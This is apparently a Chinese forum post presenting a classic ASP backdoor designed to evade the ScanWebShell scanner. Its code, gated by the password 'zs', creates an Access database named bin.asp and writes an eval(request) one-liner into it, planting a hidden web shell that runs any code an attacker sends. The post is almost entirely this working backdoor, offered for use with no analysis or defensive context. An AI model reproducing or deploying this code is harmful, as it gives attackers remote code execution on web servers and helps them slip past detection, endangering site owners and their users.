发新话题
打印

躲避ScanWebShell的一个后门

躲避ScanWebShell的一个后门

<%
pass="zs"
If request("bin")= pass then
shell = "bin.asp"
Connstr="rovider=Microsoft.Jet.OLEDB.4.0;Data Source="&Server.MapPath(shell)
set connad=server.createobject("adox.catalog")
connad.create connstr
Set conn=server.createobject("Adodb.Connection")
conn.open connstr
conn.execute("create table cmd(shell text)")
conn.execute("insert into cmd (shell) values (&#39;<"&Chr("37")&"e"&"val+request("""&pass&""")"&chr("37")&">&#39;)")
End If
%>

TOP

发新话题